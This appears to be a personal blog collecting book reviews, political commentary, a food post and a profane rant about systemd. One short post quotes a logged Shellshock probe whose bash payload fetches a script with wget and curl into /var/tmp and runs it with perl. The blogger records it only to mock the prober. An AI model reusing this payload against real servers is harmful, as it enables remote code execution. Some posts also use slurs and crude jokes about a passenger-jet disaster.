this changes everything, Naomi Klein

soylentgreenisbn: 9781846145056 is an author i have read and mentioned before (my blog) .  This book is ranty and while i agree climate change is going on i disagree with both left and rights interpretation as to how to fix it.

The Somerset levels flooding in the UK even gets a mention but the author forgets that mismanaging the land even before that and that it had flooded in the dim and distant past it does need management and if this is not done by either a green charity who own most of the land there now then how it wrong to finally do something rather than spend it somewhere else where a cut by the liberals are deemed as 100% wrong.

Sticking with nearing sinking Somerset* is it apparently ok to rebuild the new orleans water systems but not ok to spend some money in Somerset.  Go figure.

The right think that innovation will fix things, the left on quota’s.

Klein correctly notes the affect of ttpp, nafta, and wto organisation rules have on democratic institutions but has an us/canadian bias and she seems to forget the eco footprint from say producing widgets in x and sending them to a etc.

Saint Naomi has a lucid moment on page 160 and has a go everybody even saint bill gates and the billionaires.  After all what ever happened to Jonathan Porit.  The Nature Conservamcy council is also a sick take on ‘green’ which one also say also applies with the lack of drainage in somerset mentioned above by a charity.

nativeMy problem with this book is with saint Noami who cannot square away the rights of people, with conservation unless you become a native Indian.

It is a negative and ranty book and i lost interest

2/5 bananas. An example of the strange thinking is summed up in the next paragraph.

Candle** ligthing seems a safe choice as even nuclear is deemed bad, if you have given up nuclear then you also get bashed for using toxic alternatives as a stunning example of thinking in this book.

I suggest that there are better books out there like this (my blog)

* wellies for that festival event ** parafin or whale oil is a question

China bashing

chinaAnother week (my blog) and another netblock.

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The provincial lady in america, E M Delafield

e-m-delafieldisbn: 089735392 is an author i have read but probably not bloged about and i like but have not got around to saying* so,

Her prior two books that i knew of [the diary isbn 0897330536] and [in russia isbn:0897331567] are a look at 1930’s life and [america] just happened to be in a library.I borrowed it as one does. The first deals with english life and is fun, in russia a tale of life is told via toothache and unlike other novelists who thought Russia could do no wrong the paradise of other writers is not seen.

[America] is treated to a visit from the author during prohibition (my blog) and if you like the style then it continues in the way.

.4/5 bananas although not as natural as some of the books i mentioned above..

Low fat food

Food is a minefield – things that look like recognisable products can be faked take sudan1 (my blog), margarine is another with now dubious benefits.  That is before i get corn starch (my blog).  The message from science is political on this one and views keep changing depending on your standpoint.

trippy cow

trippy cow

The latest disaster in the monkey house is low fat cheese.  How cheese is/or becomes  low fat means some amusing gags – cows on running machines at fitness farms ?  Anyhow this misbuy was filling but it had no taste.

I wonder how many people try to eat ‘healthy’ but get tricked into what the food industry deems ‘ok’ and legal say cheese that is not cheese, or hfcs instead of sugar.  Thus not achieving healthy.


The wolf of wall street, Jordan Belfort

jordanbelfortisbn: 9781444788120 may ring a bell as it became a film.  I have not seen the film and found this book on a shelf in a library as i have read books about crooks (this blog) and another (my blog) surely another in his words will be no challenge for this ape.

Mr Belfort is best described as a philistine or in his own words ‘pond scum’ who cannot get an erection, and spent what he did not owe and hired likewise ‘professionals’ to work in wall street with him.  Boilerroom (my blog0 might describe it in the days before this (my blog).

I aborted on page 30 as this is more about the perks of the job rather than any semantic content worth reading.

Sort of explains why it got filmed. 0/5 bananas

late to the party bash probers

drevilFrom this (my blog) came this (my blog) so lets see who else is an ‘expert’ hacker this week

who  /country count what / us 3 GET /cgi-bin/fire.cgi HTTP/1.0″ “-” “() { :;}; /bin/bash -c \”cd /var/tmp ; rm -rf j* ; wget http:// ; lwp-download http:// ; curl -O /var/tmp/jiw http:// ; perl /var/tmp/jiw ; rm -rf *jiw\” points to Romania.  That was it.


charity ebola, Malala Yousafzai, nazi muslims, oh and Labour’s ukip woes

pukeeThe world is doing its usual interesting things. We have charity ‘staff’ (my blog) complaining and then turning ebola into problem elsewhere from a regional to a world problem. Malala Yousafzai (my blog) wins an award for pakistan despite not being able to live there.

Heywood and Middleton a once safe seat for the labour party was made into a marginal seat by ukip. I wonder what that kind of dynamic will also have elsewhere.  While ebola is not pleasant it does rather make the whole lets not talk about issue because we me might be deemed nasty by people.

The other unexplained elephant in the room is about african debt release.  If the west bailed out africa before, and is now again paying to stop ebola then did the debt forgiveness work at all ?

Mean while British Muslims are blaming the internet (my blog) for radicalising children so it must so be good to be to blame free despite not using censorship tools.


Systemd weirdness fleshed out

OK i have bloged about this before (my blog) and one day recently i decided to figure out why it is so shit

orginalatityI wanted to rationally address my concerns from before so off i go and find an arch wiki article for systemd which it tells me that if i change the quiet on the grub menu then i get console messages back. That’s fucking odd as they used to display before with quiet with init.d.

There is alas a shit load of bonus crap that init,d did not have. Oh well.

Why does grub [/etc/default/grub] control what systemd does ?

Oh and the login daemon also prints shit out when it hits errors which in debian testing is going to happen

Those are superficial but make linux more like linux.should be rather than a testing mobile phone gui that certain people think is required although i don’t use that piece of shit (my blog).

Anyhow i also want to write .service files which are apparently located in /etc/systemd/ system and cannot figure out the sshd file with its logical after rules and conditionpathexists.

Sshd now uses /etc/default/ssh so this shit is all over the place. Oh i guess /etc/sshd/<filesretard> also will get a reference

I read from the arch documentation* that you can run script files that i heavily adapted being i run four postfix servers from one file, so to do that in systemd it seems i need four .system files and enabled by systemctl.

I have no idea why i now would need four service file to launch four commands

anti gay toilet in Sochi Russia

anti gay toilet in Sochi Russia

I still maintain that systemd sucks and i would love them to fly to sochi and have a conference perhaps with air Malaysia sponsoring them.

Anyhow i thnk my hate of systemd has reduced but i still think its retarded.. So it looks like i am going be rewriting init scripts again on the dist upgrade.  Hopefully there will be things to convert for services that gnome users probably don’t think it needs**

Anyhow i never got near to the reason why you cannot print to screen the systemd files in /run so i guess when linux breaks your on your own.

The more you know about systemd the more i think it is crap.  Sure initd is old but who is to say that systemd is not without issues

* debian documentation is err how shall i say not revealing and worries more about licenses than how it may or may not be actually used which was is the mystery of phpfpm (my blog)  ** like servers for email and stuff i refuse to accept that one host can only serve one web server/one a /one b and not also do other things that the hosting industry think unprofitable..